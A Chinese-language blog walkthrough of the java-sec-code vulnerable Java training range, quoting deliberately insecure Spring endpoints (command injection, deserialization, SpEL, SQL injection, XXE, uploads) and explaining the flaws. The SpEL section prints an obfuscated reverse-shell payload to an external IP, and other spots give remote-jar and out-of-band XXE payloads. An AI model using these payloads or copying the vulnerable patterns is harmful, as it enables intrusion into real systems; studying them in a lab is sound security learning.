文章目录
- 前言
- 1.靶场搭建
- 靶场地址、环境
- Window环境修改点
- 靶场通关和源码分析
- 命令注入
- RCE
- 反序列化
- fastjson反序列化
- 目录穿越
- 文件上传
- Spel表达式
- sql注入
- poi-ooxml组件XXE
- 总结
前言
一直都是一个Java盲,但是如今Java却占据了开发的半壁江山,平时遇见的多数站点大多数都是Java编写的,Spring生态等等。偶然看到了这个靶场,简单看看,同时也作为学习Java各种链子等的起步吧。
1.靶场搭建
靶场地址、环境
靶场地址:java-sec-code
靶场环境:jdk1.8、mysql8.0.17、springboot、fastjson1.2.24、tomcat 8.5.11
Window环境修改点
直接将源码下载,拖进IDEA,点击运行即可,但是作者使用的linux环境,因此Windows环境需要进行一些代码的修改才能够成功运行。
- CommandInject.java处,sh改为cmd,将ls命令改为dir命令
其次,修改index.html下引擎模板中的filepath的指向内容,链接成Winodws中某硬盘的测试文件。
靶场通关和源码分析
命令注入
@GetMapping("/codeinject")public String codeInject(String filepath) throws IOException {String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};ProcessBuilder builder = new ProcessBuilder(cmdList);builder.redirectErrorStream(true);Process process = builder.start();return WebUtils.convertStreamToString(process.getInputStream());}@GetMapping("/codeinject/host")public String codeInjectHost(HttpServletRequest request) throws IOException {String host = request.getHeader("host");logger.info(host);String[] cmdList = new String[]{"sh", "-c", "curl " + host};ProcessBuilder builder = new ProcessBuilder(cmdList);builder.redirectErrorStream(true);Process process = builder.start();return WebUtils.convertStreamToString(process.getInputStream());}
代码的本意是让你通过输入一个filepath的参数查看当前目录下的文件,这里使用了ProcessBuilder设置了外部程序和命令参数,通过start()启动了一个外部进程,并且通过getInputStream()读取输出流,但是关键是这里作为linux,它的命令行是可以进行拼接了,通过管道符,分号等能够同时执行多条命令,导致了命令注入。
这二个代码哪里也是一样,只是使用了host头处进行注入。
@GetMapping("/codeinject/sec")public String codeInjectSec(String filepath) throws IOException {String filterFilePath = SecurityUtil.cmdFilter(filepath);if (null == filterFilePath) {return "Bad boy. I got u.";}String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};ProcessBuilder builder = new ProcessBuilder(cmdList);builder.redirectErrorStream(true);Process process = builder.start();return WebUtils.convertStreamToString(process.getInputStream());}// private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
这里相比较之前对输入的filePath变量多了一个正则表达式的匹配,只允许出现括号中的字符,也就是说使用了白名单的形式,这里相对来说应该是安全的,没法拼接命令导致命令注入。
RCE
@GetMapping("/runtime/exec")public String CommandExec(String cmd) {Runtime run = Runtime.getRuntime();StringBuilder sb = new StringBuilder();try {Process p = run.exec(cmd);BufferedInputStream in = new BufferedInputStream(p.getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String tmpStr;while ((tmpStr = inBr.readLine()) != null) {sb.append(tmpStr);}if (p.waitFor() != 0) {if (p.exitValue() == 1)return "Command exec failed!!";}inBr.close();in.close();} catch (Exception e) {return e.toString();}return sb.toString();}/*** <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>*/@GetMapping("/ProcessBuilder")public String processBuilder(String cmd) {StringBuilder sb = new StringBuilder();try {String[] arrCmd = {"/bin/sh", "-c", cmd};ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);Process p = processBuilder.start();BufferedInputStream in = new BufferedInputStream(p.getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String tmpStr;while ((tmpStr = inBr.readLine()) != null) {sb.append(tmpStr);}} catch (Exception e) {return e.toString();}return sb.toString();}/*** http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js** curl http://xx.yy/zz.js* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}** @param jsurl js url*/@GetMapping("/jscmd")public void jsEngine(String jsurl) throws Exception{// js nashorn javascript ecmascriptScriptEngine engine = new ScriptEngineManager().getEngineByName("js");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String cmd = String.format("load(\"%s\")", jsurl);engine.eval(cmd, bindings);}/*** http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]* yaml-payload.jar: https://github.com/artsploit/yaml-payload** @param content payloads*/@GetMapping("/vuln/yarm")public void yarm(String content) {Yaml y = new Yaml();y.load(content);}@GetMapping("/sec/yarm")public void secYarm(String content) {Yaml y = new Yaml(new SafeConstructor());y.load(content);}/*** http://localhost:8080/rce/groovy?content="open -a Calculator".execute()* @param content groovy shell*/@GetMapping("groovy")public void groovyshell(String content) {GroovyShell groovyShell = new GroovyShell();groovyShell.evaluate(content);}
这里作者单纯就是演示了一些命令执行的过程中的代码,包括直接使用Runtime.getRuntime().exec(),ProcessBuilder、通过yaml加载恶意Java对象进行命令执行,通过groovyShell进行命令执行
反序列化
@RequestMapping("/rememberMe/vuln")public String rememberMeVul(HttpServletRequest request)throws IOException, ClassNotFoundException {Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);if (null == cookie) {return "No rememberMe cookie. Right?";}String rememberMe = cookie.getValue();byte[] decoded = Base64.getDecoder().decode(rememberMe);ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);ObjectInputStream in = new ObjectInputStream(bytes);in.readObject();in.close();return "Are u ok?";}
这里从Requests包中接收rememberMe进行base64解码后,通过读取了解码内容后,最后触发了readObject()方法进行反序列化,因为这里可以通过链的形式伪造Cookie达到命令执行的效果,比较简单的就是使用URLDNS链来进行验证一下,如果要进行命令执行,项目这里使用了 Commons-Collections3.1的组件,可以通过CC链达到反序列化进行RCE的效果。
fastjson反序列化
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})@ResponseBodypublic String Deserialize(@RequestBody String params) {// 如果Content-Type不设置application/json格式,post数据会被url编码try {// 将post提交的string转换为jsonJSONObject ob = JSON.parseObject(params);return ob.get("name").toString();} catch (Exception e) {return e.toString();}}
在fastjson进行反序列化的时候,通过autoType来指定反序列化的类,进入parseField方法,进入方法后通过setValue(object,value),在这会执行构造的恶意代码,从而实现恶意代码执行。
目录穿越
@GetMapping("/path_traversal/vul")public String getImage(String filepath) throws IOException {return getImgBase64(filepath);}private String getImgBase64(String imgFile) throws IOException {logger.info("Working directory: " + System.getProperty("user.dir"));logger.info("File path: " + imgFile);File f = new File(imgFile);if (f.exists() && !f.isDirectory()) {byte[] data = Files.readAllBytes(Paths.get(imgFile));return new String(Base64.encodeBase64(data));} else {return "File doesn't exist or is not a file.";}}
这里本意应该是读取图片的base64信息然后返回给前端,但是此处对传入的filePath参数未做任何过滤,导致了可以使用…/的形式把路径向前,导致了遍历。
可以看一下它的安全过滤的过滤器,也十分简单:
public static String pathFilter(String filepath) {String temp = filepath;// use while to sovle multi urlencodewhile (temp.indexOf('%') != -1) {try {temp = URLDecoder.decode(temp, "utf-8");} catch (UnsupportedEncodingException e) {logger.info("Unsupported encoding exception: " + filepath);return null;} catch (Exception e) {logger.info(e.toString());return null;}}if (temp.contains("..") || temp.charAt(0) == '/') {return null;}return filepath;}
先判断传入的参数是否进行了url编码,如果编码了则进行解码,然后判断路径中是否存在…这样的字符或者以/开头,如果包含这样的敏感字符,则直接返回null。
文件上传
@PostMapping("/upload")public String singleFileUpload(@RequestParam("file") MultipartFile file,RedirectAttributes redirectAttributes) {if (file.isEmpty()) {// 赋值给uploadStatus.html里的动态参数messageredirectAttributes.addFlashAttribute("message", "Please select a file to upload");return "redirect:/file/status";}try {// Get the file and save it somewherebyte[] bytes = file.getBytes();Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());Files.write(path, bytes);redirectAttributes.addFlashAttribute("message","You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");} catch (IOException e) {redirectAttributes.addFlashAttribute("message", "upload failed");logger.error(e.toString());}return "redirect:/file/status";}
这里文件上传的代码非常危险,虽然固定了/tmp目录,但是文件上传之后没有重新重命名文字,没有对文件的后缀名,文件类型进行过滤,应当使用白名单的形式对MIME类型,文件的后缀名,将上传后的文件重命名等形式防止文件上传产生的漏洞。
@PostMapping("/upload/picture")@ResponseBodypublic String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {if (multifile.isEmpty()) {return "Please select a file to upload";}String fileName = multifile.getOriginalFilename();String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名String mimeType = multifile.getContentType(); // 获取MIME类型String filePath = UPLOADED_FOLDER + fileName;File excelFile = convert(multifile);// 判断文件后缀名是否在白名单内 校验1String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};boolean suffixFlag = false;for (String white_suffix : picSuffixList) {if (Suffix.toLowerCase().equals(white_suffix)) {suffixFlag = true;break;}}if (!suffixFlag) {logger.error("[-] Suffix error: " + Suffix);deleteFile(filePath);return "Upload failed. Illeagl picture.";}// 判断MIME类型是否在黑名单内 校验2String[] mimeTypeBlackList = {"text/html","text/javascript","application/javascript","application/ecmascript","text/xml","application/xml"};for (String blackMimeType : mimeTypeBlackList) {// 用contains是为了防止text/html;charset=UTF-8绕过if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {logger.error("[-] Mime type error: " + mimeType);deleteFile(filePath);return "Upload failed. Illeagl picture.";}}// 判断文件内容是否是图片 校验3boolean isImageFlag = isImage(excelFile);deleteFile(randomFilePath);if (!isImageFlag) {logger.error("[-] File is not Image");deleteFile(filePath);return "Upload failed. Illeagl picture.";}try {// Get the file and save it somewherebyte[] bytes = multifile.getBytes();Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());Files.write(path, bytes);} catch (IOException e) {logger.error(e.toString());deleteFile(filePath);return "Upload failed";}logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);logger.info("[+] Successfully uploaded {}", filePath);return String.format("You successfully uploaded '%s'", filePath);}
Spel表达式
@GetMapping("/spel/vuln")public String rce(String expression) {ExpressionParser parser = new SpelExpressionParser();// fix method: SimpleEvaluationContextreturn parser.parseExpression(expression).getValue().toString();}
@GetMapping("/spel/vuln")public String rce(String expression) {ExpressionParser parser = new SpelExpressionParser();// fix method: SimpleEvaluationContextreturn parser.parseExpression(expression).getValue().toString();}
使用Spring Expression Language表达式语言在表达式中动态的解析和调用方法,这里的T表示直接调用Java.lang.Runtime这个类,可以进行命令执行
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
sql注入
@RequestMapping("/jdbc/vuln")public String jdbc_sqli_vul(@RequestParam("username") String username) {StringBuilder result = new StringBuilder();try {Class.forName(driver);Connection con = DriverManager.getConnection(url, user, password);if (!con.isClosed())System.out.println("Connect to database successfully.");// sqli vuln codeStatement statement = con.createStatement();String sql = "select * from users where username = '" + username + "'";logger.info(sql);ResultSet rs = statement.executeQuery(sql);while (rs.next()) {String res_name = rs.getString("username");String res_pwd = rs.getString("password");String info = String.format("%s: %s\n", res_name, res_pwd);result.append(info);logger.info(info);}rs.close();con.close();} catch (ClassNotFoundException e) {logger.error("Sorry, can't find the Driver!");} catch (SQLException e) {logger.error(e.toString());}return result.toString();}
基于JDBC的sql查询,使用DriverManagement对数据库进行连接,然后通过Statement接口,拼接了username进入sql语句中进行查询,然后返回查询的数据,这里直接拼接是可以使用单引号闭合sql语句导致sql注入的产生,应当使用prepareStatement的形式对sql语句进行预编译,然后实施参数化查询,虽然说参数化不能杜绝类似于列表部分等的SQL注入攻击,但是能够很好的杜绝上面这类攻击。
至于Mybatis类的注入,可以大致看之前写过的一篇文章:Myabtis注入
poi-ooxml组件XXE
@PostMapping("/readxlsx")@ResponseBodypublic String ooxml_xxe(MultipartFile file) throws IOException {XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vulnXSSFSheet sheet = wb.getSheetAt(0);XSSFRow row;XSSFCell cell;Iterator rows = sheet.rowIterator();StringBuilder sbResult = new StringBuilder();while (rows.hasNext()) {row = (XSSFRow) rows.next();Iterator cells = row.cellIterator();while (cells.hasNext()) {cell = (XSSFCell) cells.next();if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {sbResult.append(cell.getStringCellValue()).append(" ");} else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {sbResult.append(cell.getNumericCellValue()).append(" ");} else {logger.info("errors");}}}return sbResult.toString();}
这是Apache POI组件,提供了Microsoft Office系列文档读、写功能等进行xlsx操作,在低版本下存在XXE漏洞,主要原因是org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile读取XML文件时没有对XXE漏洞进行防护导致的,只需要在xls文件中,将Content-Type文件插入XXE代码即可触发。
<!DOCTYPE test [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "http://xlsx.3z3qbz.dnslog.cn">
]>
<test>&xxe;</test>
总结
靶场上面还有Swagger-UI泄露,端点env泄露和RCE,JWT、log4j等这些平常渗透的时候出的也都比较多了,这里也不写了,总的来说,这个靶场主要是可以看看漏洞代码和正确代码分别是怎么写的,也算是Java的一次入门,更详细可以参考作者的链接。